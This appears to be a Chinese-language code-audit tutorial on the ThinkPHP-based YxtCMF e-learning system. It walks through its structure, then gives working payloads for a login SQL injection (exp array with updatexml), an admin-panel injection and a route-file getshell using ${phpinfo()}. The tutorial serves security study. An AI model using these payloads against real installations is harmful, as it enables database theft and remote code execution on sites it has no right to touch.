MVC框架的代码审计小教程
介绍
YxtCMF在线学习系统是一个以thinkphp+bootstrap为框架进行开发的网络学习平台系统。
在线学习系统,为现代学习型组织提供了卓有成效的学习与培训方案, 能够通过在线学习和在线评估的方式轻松完成针对员工制订的培训计划,能够轻松建立自己的网校!
1、设计理念:E-learning
2、简单直观的界面、主次分明的设计
3、YxtCMF帮助培训机构和个人以最低成本、最快速度建立自己的在线教学网站,无需担心技术问题
4、YxtCMF采用PHP 5开发,使用mysql数据库。 框架使用Thinkphp+Bootstrap框架
下载地址:https://www.jb51.net/codes/474604.html
目录结构

admin //后台静态文件
appliication //应用文件
data //数据配置文件
Expand //扩展类库目录
plugins //插件
public //一些资源
themes //主题
ueditor //编辑器文件
update //升级文件
uploads //上传文件
yxtedu //核心目录根据Thinkphp3.2.3开发的
index.php
yxtcmf 基于 thinkphp3.2.3开发的,所以先了解一下目录
application/xxx/controller //由于是MVC架构,所以我们重要的逻辑代码就在controller下查看就好了
application/xxx/Menu //里面基本上是数组,定义了网站的一些功能名称、模块,我们可以根据这些数组查找到功能点对应的php文件
data/conf/route.php //路由文件
data/conf/db.php //数据库配置文件
yxtedu/Core/Mode/Api/function.php //thinkphp里面的一些自定义的重要函数,后面我们需要用到
前台审计
我们了解完这些配置架构等等之后,我们可以就从 index.php 页面来审计
<?php
if (ini_get('magic_quotes_gpc'))
{
function stripslashesRecursive(array $array)
{
foreach ($array as $k => $v)
{
if (is_string($v))
{
$array[$k] = stripslashes($v);
} else
if (is_array($v))
{
$array[$k] = stripslashesRecursive($v);
}
}
return $array;
}
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);
}
define("APP_DEBUG",false);
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');
if (!file_exists("data/install.lock"))
{
if (strtolower($_GET['g']) != "install")
{
header("Location:./index.php?g=install");
exit();
}
}
require SPAPP_PATH . 'Core/ThinkPHP.php';
首先是判断 if (ini_get('magic_quotes_gpc')) ,查看是否开启GPC
若开启了的话,则会对GET、POST接受的参数进行 stripslashesRecursive(实质上就是stripslashes) 转义:
function stripslashesRecursive(array $array)
{
foreach ($array as $k => $v)
{
if (is_string($v))
{
$array[$k] = stripslashes($v);
} else
if (is_array($v))
{
$array[$k] = stripslashesRecursive($v);
}
}
return $array;
}
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);
然后下面给一些常见的参数或者路径赋值,定义的一些常量:
define("APP_DEBUG",false);
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');
然后再查看下面,可以发现是否安装成功;
0x01、前台登陆处未使用I函数过滤导致注入
漏洞地址 :application/User/Controller/LoginController.class.php

首先验证了验证码是否正确,然后初始化了一个Users模块,最后检测是用手机号登录还是用邮箱登录:
$this->_do_mobile_login();
$this->_do_email_login();
这两个函数的定义就在这段代码的下面

注意这第 146 行,查看这一句SQL语句,发现没有经过I函数过滤
Thinkphp3.2.3中,如果没有经过I函数接受数据则会导致SQL注入
这是thinkphp的一个框架漏洞,我们先来看一下where函数的功能和用法:

也就是说,where里面包含的内容就是我们要查找的where后面的语句,那么我们这里是不是只要直接写入语句进去就行啦~ 但是你要观察到我们这里where里面的$where变量是数组的形式,而并非字符串形式。
这里就得用到其他的姿势了,也就是exp查询

$where['mobile']=$_POST['username'];
这里需要传参数组进去(如果看不懂可以看看这个链接https://www.php.cn/php-weizijiaocheng-381282.html)
这时候我们要在POST包里面传进数组,那怎么传呢?这里运用到了&这个符号进行传参,我们注意要传两个参数,第一个是exp,第二个是我们要执行的sql语句,然后就开始构造payload
account[0]=exp&account[1]=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)&password=admin&ipForget=true
我们执行一下看看咋样

可以看到少了个等于号,为什么?因为这个等于号被当做赋值用了,所以不会被当做代码执行,我们需要再传入一个等于号
account[0]=exp&account[1]==1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)&password=admin&ipForget=true

这时候就注入成功了
后台使用I方法但未选择过滤方式,导致默认未过滤形成注入
漏洞位置:application/Admin/Controller/AdController.class.php
function edit(){
$id=I("get.id");
$ad=$this->ad_model->where("ad_id=$id")->find();
$this->assign($ad);
$this->display();
}
根据函数命名可以知道这个是编辑,于是我们添加一条广告

再进去,通过下图我们可以知道这个是伪静态注入

这边接受我们的id,$id 虽然经过了I函数,但是没有选择,而默认又是为空


这边只需要闭合一下就可以了
因为路由设置问题导致GetShell
漏洞位置:application\Admin\Controller\RouteController.class.php

跟进 sp_get_routes 函数,这边贴出关键代码
function sp_get_routes($refresh=false){
......
$routes=M("Route")->where("status=1")->order("listorder asc")->select(); //取出status为1的Route
$all_routes=array();
$cache_routes=array();
foreach ($routes as $er){
$full_url=htmlspecialchars_decode($er['full_url']); //这里的full_url用htmlspecialchars_decode解码
......
$all_routes[$url]=$full_url; //将$full_url添加到$all_routes中
}
......
$route_dir=SITE_PATH."/data/conf/";
if(!file_exists($route_dir)){
mkdir($route_dir);
}
$route_file=$route_dir."route.php"; //检测是否存在目录和route.php
file_put_contents($route_file, "<?php\treturn " . stripslashes(var_export($all_routes, true)) . ";");
//将我们的$all_routes写入到route.php中
return $cache_routes;
通过上面我们知道这边过滤函数三个
htmlspecialchars_decode
var_export
stripslashes
而这三个函数跟进后对我们没有什么用,等于把我们的route写入文件中

根据路由规则,我们直接进入目标的页面,这边可以写入文件,我们就可以去构造个Payload
index/a/b',${phpinfo()}.'

可以看出这边是把单引号闭合掉,然后执行
MVC框架的代码审计小教程的更多相关文章
- .NET轻量级MVC框架:Nancy入门教程(二)——Nancy和MVC的简单对比
在上一篇的.NET轻量级MVC框架:Nancy入门教程(一)——初识Nancy中,简单介绍了Nancy,并写了一个Hello,world.看到大家的评论,都在问Nancy的优势在哪里?和微软的MVC比 ...
- .NET轻量级MVC框架:Nancy入门教程(一)——初识Nancy
当我们要接到一个新的项目的时候,我们第一时间想到的是用微软的MVC框架,但是你是否想过微软的MVC是不是有点笨重?我们这个项目用MVC是不是有点大材小用?有没有可以替代MVC的东西呢?看到这里也许你会 ...
- BrnShop开源网上商城第二讲:ASP.NET MVC框架
在团队设计BrnShop的web项目之初,我们碰到了两个问题,第一个是数据的复用和传递,第二个是大mvc框架和小mvc框架的选择.下面我依次来说明下. 首先是数据的复用和传递:对于BrnShop的每一 ...
- 自己动手写PHP MVC框架
自己动手写PHP MVC框架 来自:yuansir-web.com / yuansir@live.cn 代码下载: https://github.com/yuansir/tiny-php-framew ...
- Java Web自定义MVC框架详解 (转)
转自:http://blog.csdn.net/jackfrued/article/details/42774459 最近给学生讲Java Web,希望他们能够在学完这部分内容后自己实现一个MVC框架 ...
- MVC框架实例教程 【转载】
1 什么是MVC MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式,把软件系统分为三个基本部分:模型(Model).视图(View)和控制器(Controller ...
- 手把手编写自己的PHP MVC框架实例教程
1 什么是MVC MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式. MVC把软件系统分为三个基本部分:模型(Model).视图(View)和控制器(Contro ...
- PHP: 手把手编写自己的 MVC 框架实例教程
1 什么是MVC MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式,把软件系统分为三个基本部分:模型(Model).视图(View)和控制器(Controller ...
- ASP.NET Core 入门教程 2、使用ASP.NET Core MVC框架构建Web应用
一.前言 1.本文主要内容 使用dotnet cli创建基于解决方案(sln+csproj)的项目 使用Visual Studio Code开发基于解决方案(sln+csproj)的项目 Visual ...
随机推荐
- spring Boot面试题(2020最新版)
概述 什么是 Spring Boot? Spring Boot 是 Spring 开源组织下的子项目,是 Spring 组件一站式解决方案,主要是简化了使用 Spring 的难度,简省了繁重的配置,提 ...
- windows10开机后恢复关机前打开的chrome网页
开始-设置-账户-登录选项-隐私,下面一个"更新或重启后--"即第二个开关打开. 这时,无论是重启.更新重启或关机后开机,均可恢复原关机时的网页(和应用). 注:题主安装的wind ...
- 059 01 Android 零基础入门 01 Java基础语法 06 Java一维数组 06 增强型for循环
059 01 Android 零基础入门 01 Java基础语法 06 Java一维数组 06 增强型for循环 本文知识点:增强型for循环 增强型for循环格式 案例练习增强型for循环 数组名字 ...
- CF149D Coloring Brackets
CF149D Coloring Brackets Link 题面: 给出一个配对的括号序列(如"\((())()\)"."\(()\)"等, "\() ...
- Oracle 和 MySQL 在显示数据库名和表名的区别
Oracle 显示数据库名和表名 Oracle 查看表名: select table_name from user_tables; select table_name from dba_tables; ...
- 在Windows7中打开照片,提示“Windows 照片查看器无法显示此图片,因为计算机上的可用内存可能不足。....”
在Windows7中打开照片,提示"Windows 照片查看器无法显示此图片,因为计算机上的可用内存可能不足.请关闭一些目前没有使用的程序或者释放部分硬盘空间(如果硬盘几乎已满),然后重试. ...
- 【总结】Oracle数据库 查看表空间和增加表空间
一.Oracle查看 表空间 的名称及其大小 查看 表空间的名称及其大小的SQL语句: select t1.tablespace_name,round(sum(bytes/(1024*1024)),0 ...
- 多测师讲解接口自动化测试 _requests_高级讲师肖sir
rep=requests.post 错误方法: 1.在代理中---把高级中----代理-----去除勾选,调用失败
- Rust之路(3)——数据类型 下篇
[未经书面同意,严禁转载] -- 2020-10-14 -- 架构是道,数据是术.道可道,非常道:术不名,不成术!道无常形,术却可循规. 学习与分析数据类型,最基本的方法就是搞清楚其存储原理,变量和对 ...
- [CISCN2019 华北赛区 Day2 Web1]Hack World 1详解
打开题目, 我们开始尝试注入, 输入0回显Error Occured When Fetch Result. 输入1回显Hello, glzjin wants a girlfriend. 输入2回显Do ...